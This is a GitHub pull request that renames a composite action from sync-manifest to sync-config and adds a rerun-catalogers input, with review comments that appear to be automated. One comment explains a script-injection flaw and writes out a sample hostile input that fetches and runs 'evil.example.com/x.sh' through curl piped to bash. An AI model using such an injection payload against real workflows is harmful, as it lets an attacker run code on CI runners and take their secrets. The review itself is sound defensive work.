Rename sync-manifest to sync-config, add rerun-catalogers input (ENG-565) - #5
Conversation
Renames the sync action to match the term "config" used in our docs and in the workflow display name. Adds a `rerun-catalogers` input that maps to the new lunar CLI flag (default off). sync-manifest is kept as a deprecated alias so external pinned refs (@main, @v1.x, etc.) keep working — it prints a ::warning:: telling users to migrate. Also fills in the previously empty README with usage + input docs for both actions.
|
There's a github action failure can you take a look? |
…ogers) The cataloger flag is added in lunar PR #1471 and will ship in the next release after that merges (v1.1.2). The example pins to the current latest stable (v1.1.1) so users have a working default.
The test workflow was looking for action.yml at the repo root, which broke when the actions moved into per-action subdirectories. Update the path to ./sync-config and add the now-required lunar-version input. Drop github-token, which sync-config doesn't accept.
|
Got it — the test workflow was looking for an |
The -r short flag is being renamed to -l in lunar v1.1.2 (--rerun-code-collectors). Use the long form so the action keeps working across that bump.
The example in the README and the CI test workflow both used v1.1.1, which doesn't have --rerun-catalogers. Bump to v1.1.2 (just released) so users copying the example get a CLI that supports the input shown.
The attach action is dead — superseded by earthly/lunar-ci-action (properly versioned, node20-based, the one documented in the agent-managed install guide). Per Nacho on lunar PR #1471 review thread: > yes lunar-actions/attach is dead. Moved to lunar-ci-action by Vlad request Stacked on bender/eng-565-rename-and-cataloger-flag (PR #5) so the README cleanup lines up with the new content that PR introduces.
| - name: Pull config | ||
| env: | ||
| FORCE_COLOR: 1 | ||
| LUNAR_HUB_TOKEN: ${{ inputs.hub-token }} | ||
| LUNAR_HUB_HOST: ${{ inputs.hub-host }} | ||
| LUNAR_HUB_GRPC_PORT: ${{ inputs.hub-grpc-port }} | ||
| LUNAR_HUB_HTTP_PORT: ${{ inputs.hub-http-port }} | ||
| LUNAR_LOG_LEVEL: ${{ inputs.log-level }} | ||
| run: | | ||
| ARGS=() | ||
| if [ "${{ inputs.rerun-code-collectors }}" = "true" ]; then | ||
| ARGS+=("--rerun-code-collectors") | ||
| if [ "${{ inputs.include-pr-commits }}" = "true" ]; then | ||
| ARGS+=("--include-pr-commits") | ||
| fi | ||
| ARGS+=("--pr-max-age-days" "${{ inputs.pr-max-age-days }}") | ||
| fi | ||
| if [ "${{ inputs.rerun-catalogers }}" = "true" ]; then | ||
| ARGS+=("--rerun-catalogers") | ||
| fi | ||
| lunar hub pull "${ARGS[@]}" "${{ inputs.manifest-url }}" | ||
| shell: bash |
There was a problem hiding this comment.
🔴 The new sync-config/action.yml interpolates ${{ inputs.X }} directly into bash run blocks for lunar-version (lines 59, 61), rerun-code-collectors (74), include-pr-commits (76), pr-max-age-days (79), rerun-catalogers (81), and manifest-url (84) — GitHub expands these before bash sees them, so a value containing a quote/backtick/semicolon can break out and execute arbitrary commands on the runner. The same step already demonstrates the safer pattern (hub-token/hub-host/etc. exposed via env: and used as $LUNAR_HUB_TOKEN) — recommend extending it to the remaining inputs while you're creating the new file. See GitHub'''s hardening guide.
Extended reasoning...
What is wrong
In the new sync-config/action.yml, several composite-step run: blocks paste user-supplied input values directly into the bash script via ${{ inputs.X }}:
- Line 59:
curl -L https://github.com/earthly/lunar-dist/releases/download/${{ inputs.lunar-version }}/lunar-linux-amd64 ... - Line 61:
echo "Lunar ${{ inputs.lunar-version }} installed" - Line 74:
if [ "${{ inputs.rerun-code-collectors }}" = "true" ]; then - Line 76:
if [ "${{ inputs.include-pr-commits }}" = "true" ]; then - Line 79:
ARGS+=("--pr-max-age-days" "${{ inputs.pr-max-age-days }}") - Line 81:
if [ "${{ inputs.rerun-catalogers }}" = "true" ]; then - Line 84:
lunar hub pull "${ARGS[@]}" "${{ inputs.manifest-url }}"
GitHub Actions performs ${{ ... }} template expansion before the script is handed to bash, so the input value becomes part of the script source rather than a runtime variable. Any value containing ", `, $(), or ; can therefore close the surrounding string and execute arbitrary shell.
Why the existing code does not prevent it
The same step already exposes hub-token, hub-host, hub-grpc-port, hub-http-port, and log-level through the env: block and references them as $LUNAR_HUB_TOKEN, $LUNAR_HUB_HOST, etc. — the canonical safe pattern from GitHub's security-hardening guide. The remaining six inputs simply do not get this treatment; they are spliced into the script source instead.
Step-by-step proof
Consider a caller passing manifest-url sourced from untrusted data (e.g. ${{ github.event.pull_request.title }}) with the value:
github://x/y@main"; curl -s evil.example.com/x.sh | bash; echo "
At template-expansion time, line 84 becomes:
lunar hub pull "${ARGS[@]}" "github://x/y@main"; curl -s evil.example.com/x.sh | bash; echo ""Bash then sees three commands: a benign lunar hub pull, an attacker-controlled curl | bash, and a trailing echo. The injection executes with full runner privileges and access to whatever secrets the workflow has loaded.
The lunar-version interpolation on line 59 is particularly concerning because it sits inside the binary-download URL — a malicious value could redirect the binary fetch to an attacker-hosted file (e.g. v1.1.2 -o /tmp/x && curl evil/lunar -o /usr/local/bin/lunar #).
Impact
For a composite action, inputs come from the calling workflow, so this is not a direct privilege escalation against an unrelated attacker — the workflow author is the trust boundary. However, it becomes exploitable any time a caller wires up an input from attacker-controllable context (PR titles, issue bodies, branch names, commit messages, fork-PR data). The README explicitly documents using sync-config@main, so any downstream wiring mistake is exposed. This is also a defense-in-depth concern: the script-injection anti-pattern is precisely what GitHub itself flags as a top recommendation in the hardening guide.
How to fix
Move the six inputs into the env: block of each step that needs them, and reference the env vars from bash with quoting:
- name: Download Lunar binary
env:
FORCE_COLOR: 1
LUNAR_VERSION: ${{ inputs.lunar-version }}
run: |
curl -L "https://github.com/earthly/lunar-dist/releases/download/${LUNAR_VERSION}/lunar-linux-amd64" -o /usr/local/bin/lunar
chmod +x /usr/local/bin/lunar
echo "Lunar ${LUNAR_VERSION} installed"
shell: bash
- name: Pull config
env:
FORCE_COLOR: 1
LUNAR_HUB_TOKEN: ${{ inputs.hub-token }}
LUNAR_HUB_HOST: ${{ inputs.hub-host }}
LUNAR_HUB_GRPC_PORT: ${{ inputs.hub-grpc-port }}
LUNAR_HUB_HTTP_PORT: ${{ inputs.hub-http-port }}
LUNAR_LOG_LEVEL: ${{ inputs.log-level }}
RERUN_CODE_COLLECTORS: ${{ inputs.rerun-code-collectors }}
INCLUDE_PR_COMMITS: ${{ inputs.include-pr-commits }}
PR_MAX_AGE_DAYS: ${{ inputs.pr-max-age-days }}
RERUN_CATALOGERS: ${{ inputs.rerun-catalogers }}
MANIFEST_URL: ${{ inputs.manifest-url }}
run: |
ARGS=()
if [ "$RERUN_CODE_COLLECTORS" = "true" ]; then
ARGS+=("--rerun-code-collectors")
if [ "$INCLUDE_PR_COMMITS" = "true" ]; then
ARGS+=("--include-pr-commits")
fi
ARGS+=("--pr-max-age-days" "$PR_MAX_AGE_DAYS")
fi
if [ "$RERUN_CATALOGERS" = "true" ]; then
ARGS+=("--rerun-catalogers")
fi
lunar hub pull "${ARGS[@]}" "$MANIFEST_URL"
shell: bashSince this PR is creating a brand-new file, it's a low-cost, mechanical change — a good moment to apply the pattern consistently rather than leaving the inconsistency baked into a fresh file. The legacy sync-manifest/action.yml has the same pattern (and is now extended via the new --rerun-catalogers branch), but as a deprecated alias it's lower priority.
| - name: Download Lunar binary | ||
| env: | ||
| FORCE_COLOR: 1 | ||
| run: | | ||
| curl -L https://github.com/earthly/lunar-dist/releases/download/${{ inputs.lunar-version }}/lunar-linux-amd64 -o /usr/local/bin/lunar | ||
| chmod +x /usr/local/bin/lunar | ||
| echo "Lunar ${{ inputs.lunar-version }} installed" | ||
| shell: bash |
There was a problem hiding this comment.
🟡 The curl -L on line 59 is missing -f/--fail, so a non-existent lunar-version tag (very plausible here — the test plan says to dogfood once v1.1.2 is cut, and CI was just updated to pin lunar-version: v1.1.2) causes curl to silently write GitHub's 404 HTML page to /usr/local/bin/lunar and exit 0. The step then prints a misleading "Lunar v1.1.2 installed" and the real failure surfaces later in 'Pull config' as an opaque exec-format error. Trivial fix: curl -fL ... (or --fail-with-body for better diagnostics). Same pattern lives in sync-manifest/action.yml if you want to fix both at once.
Extended reasoning...
What the bug is
sync-config/action.yml line 59 runs:
curl -L https://github.com/earthly/lunar-dist/releases/download/${{ inputs.lunar-version }}/lunar-linux-amd64 -o /usr/local/bin/lunarWithout -f/--fail, curl follows redirects but does not treat HTTP 4xx/5xx as an error. It writes the response body to the output file and exits 0, regardless of status code.
Step-by-step proof
Concrete walkthrough with lunar-version: v1.1.2 set before that release tag is published (exactly the state CI is in right now per .github/workflows/ci.yml):
curl -L https://github.com/earthly/lunar-dist/releases/download/v1.1.2/lunar-linux-amd64 -o /usr/local/bin/lunar— GitHub returns 302 → 404 HTML page ("Not Found"). curl writes the HTML body to/usr/local/bin/lunarand exits 0.chmod +x /usr/local/bin/lunar— succeeds (it's just a regular file).echo "Lunar v1.1.2 installed"— prints the misleading success message. ✅ Step is green.- Next step runs
lunar hub pull ...— bash tries to exec the HTML file. Result:/usr/local/bin/lunar: line 1: syntax error near unexpected token<'orexec format error`, depending on the kernel/loader.
The user now sees a green 'Download Lunar binary' step followed by a baffling syntax error from a step that doesn't even reference the binary's contents.
Why this PR specifically
This is a brand-new file (sync-config/action.yml), so the bad pattern is being introduced fresh in this PR. Two things in this PR make a 404 likely:
- The PR description's test plan: "Once the new lunar release is cut, dogfood by pointing lunar-config-template at sync-config@main" — implying users will try
v1.1.2before/around the time the tag is cut. .github/workflows/ci.ymlwas updated in this same PR to pinlunar-version: v1.1.2. Until that tag actually exists in lunar-dist, every CI run on this branch hits the 404 path described above.
Addressing the duplicate-of-bug_004 refutation
The refutation correctly notes that bug_004 describes the same issue. However, bug_004 was already refuted on duplicate-handling grounds (the lower-ID bug wins), so this canonical bug_002 is the right one to surface. The underlying defect is real and unaddressed regardless of which ID carries it.
Fix
One flag:
curl -fL https://github.com/earthly/lunar-dist/releases/download/${{ inputs.lunar-version }}/lunar-linux-amd64 -o /usr/local/bin/lunarOr --fail-with-body for better diagnostics (still fails, but prints the response body so you can see GitHub's 404 message). Worth fixing the same line in sync-manifest/action.yml:64 while you're in here.
The attach action is dead — superseded by earthly/lunar-ci-action (properly versioned, node20-based, the one documented in the agent-managed install guide). Per Nacho on lunar PR #1471 review thread: > yes lunar-actions/attach is dead. Moved to lunar-ci-action by Vlad request Stacked on bender/eng-565-rename-and-cataloger-flag (PR #5) so the README cleanup lines up with the new content that PR introduces. Co-authored-by: me-bender[bot] <267701604+me-bender[bot]@users.noreply.github.com>
Summary
Renames the action that pulls config from a config repo into Lunar Hub:
sync-manifest→sync-config. Matches the term we use in our docs and in the workflow display name. Adds arerun-catalogersinput that maps to the newlunar hub pull --rerun-catalogersflag.sync-manifeststays as a deprecated alias so external pinned references keep working — it now prints a::warning::telling users to migrate.Why
Per ENG-565 thread (Vlad + Brandon): docs call this thing "config", the action called it "manifest", confusion ensued. Renaming aligns the names. And the cataloger work in earthly/lunar#1471 makes catalogers off-by-default, so the action needs an input to opt in.
Changes
sync-config/action.yml— new action. Same composite step structure assync-manifest, plus arerun-catalogers: "false"input that appends--rerun-catalogerstolunar hub pullwhen true.sync-manifest/action.yml— kept, marked deprecated. Adds an opening "Deprecation notice" step that emits a::warning::annotation. Also acceptsrerun-catalogersfor parity.README.md— was empty; now documents both actions, all inputs, and the deprecation.Companion PRs
earthly/lunar#1471 — adds--rerun-catalogersflag + new docs page covering this actionearthly/lunar-config-template— flips the workflow tosync-config@main(PR pending push permission)Test plan
lunar-config-templateatsync-config@mainsync-manifestdeprecation warning shows up in a workflow run that still uses the old name🤖 ENG-565